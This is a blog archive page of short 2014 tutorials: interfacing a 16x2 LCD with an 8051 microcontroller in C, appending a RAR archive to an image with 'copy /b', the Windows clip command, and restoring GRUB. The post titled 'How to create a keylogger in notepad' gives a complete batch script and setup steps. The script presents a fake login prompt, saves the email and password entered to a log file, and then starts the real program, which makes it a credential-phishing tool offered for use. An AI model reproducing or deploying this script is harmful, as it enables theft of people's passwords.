Posts

Showing posts from August, 2014

Interfacing 16×2 LCD with 8051

Image
LCD display is an inevitable part in almost all embedded projects and this article is about  interfacing 16×2 LCD with 8051 microcontroller. Many guys find it hard to interface LCD module with the 8051 but the fact is that if you learn it properly, its a very easy job and by knowing it you can easily design embedded projects like digital voltmeter / ammeter, digital clock, home automation displays, status indicator display, digital code locks, digital speedometer/ odometer, display for music players etc etc. Thoroughly going through this article will make you able to display any text (including the extended characters) on any part of the 16×2 display screen. In order to understand the interfacing first you have to know about the 16×2 LCD module. 16×2 LCD module. 16×2 LCD module is a very common type of LCD module that is used in 8051 based embedded projects. It consists of 16 rows and 2 columns of 5×7 or 5×8 LCD dot matrices. The module were are talking about here is type number

Sample Program for LCD 16x2 Interfacing To AT89C51 Micro-controller

Image
Now am moving ahead this time with 16X2 LCD. We will display simple "WELCOME" message. 1)Please do connection in Proteus as shown in fig. 2) To make connection without Wire as shown in fig  right click on proteus screen then goto "PLACE>TERMINAL>DEFAULT".                                       3) Now connect your terminals as shown in fig for 89C51 and for 16X2 LCD. Please take care of terminal naming, as shown fig give same name to terminal on 89c51 and LCD where you want to make connection. For Example terminal D0 on Controller must be virtually connected with D0 on LCD. . 4)  Here is C language Code for LCD. #include<regx51.h> #define msec 50 sbit rs=P3^5;   //Register select (RS) sbit rw=P3^6;   //Read write (RW) pin sbit en=P3^7;   //Enable (EN) pin void delay(unsigned int time)  //Time delay function { unsigned int i,j; for(i=0;i<time;i++)   for(j=0;j<1275;j++); } void lcdcmd(unsigned char value)  //Function f

How to create a keylogger in notepad

Here is a basic keylogger script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only.  @echo off  color a title Login   cls  echo Please Enter Email Address And Password  echo.  echo.  cd "C:\Logs"  set /p user=Username: set /p pass=Password:  echo Username="%user%" Password="%pass%" >> Log.txt  start >>Program Here<<  exit 1.) Now paste the above code into Notepad and save it as a Logger.bat file. N'joy 2.) Make a new folder on the desktop and name it Logs (If the folder is not called Logs, then it will not work.  3.) Drag that folder into the C:\ 4.) Test out the Logger.bat!  5.) Alright, now once you test it, you will go back into the Logs folder in the C:\And a .txt file will be in there, [if you make a second entry, the .txt file will overwrite itself.]  N'joy Renjith R

Learn To Hide Files Behind The Images

Image
In order to do this  you should   have basic understanding of  command line. 1.  Select an  image  to be used for  hiding  file behind the  image . 2.  Now select  file to hide behind the  image  and make it in  .RAR format.  With the help of the  WinRAR 3.  And most important is that  paste both the files on desktop . You may do this anywhere instead of desktop if you have some basic understanding of  command line . 4.  Now open cmd by going to   Start   >   Accessories   >   Command Prompt   and type following  commands  in it. cd desktop 5.   CD  stands for change directory by typing above command you change your directory to desktop. After that type command given below. Copy /b  imagename.jpg  +  filename .rar  finalimage.jpg 6. * Replace  imagename.jpg  with the name of   image   you want your file to be hidden behind. Don't forget to add   image   format (Eg: .jpg,.png,.gif) *Replace   filename   with name of your file you want to hide. It must

Copy Text to Clipboard Using Command Line in Windows

Image
If you’re doing work at the command line on your Windows box, it’s sometimes useful to copy the output of a command to the clipboard, but who wants to try and  scroll and click to use copy and paste ? Here’s how to do it the easy way. Note:  For the purposes of our exercise, we’ll be using the built-in clip utility in Windows 7 or Vista—if you are using Windows XP, you can  download clip.exe from Microsoft , just make sure to save the file in the Windows directory. Method: 1 clip < filename.txt ( Eg: ‘clip<C:\WINDOWS\ie8.txt’ ) Method:2 echo password| clip (here ‘password’ will copy 2 clipboard, when u paste- will show as ‘password’) N'joy Renjith R

How to restore Grub after installing windows (Linux Forms)

Image
This page documents how to restore or recover the boot-loader (GRUB) after installing Windows. Some reasons to repair your boot-loader might include installing Microsoft Windows after you have installed Ubuntu, adding or removing a hard drive, or changing hard drive settings. Note: this tutorial does not apply if you had installed Ubuntu inside Windows (via the  Wubi  installer).  Boot from an Ubuntu Live CD or Live USB Once up and running,  Open a Terminal   Type  sudo su  (press enter after typing each command) Type  fdisk -l   Note which device contains your Linux partition (IE: /dev/sda1)  Type  sudo mount /dev/sd x#  /mnt  ( replacing  x#  with your actual device and partition number) Type  sudo grub-install --root-directory=/mnt/ /dev/sda After the above operation terminal shows "no error reported". Type  reboot  (to reboot your PC) Make sure to remove your Live USB or CD. Upon reboot you should be  presente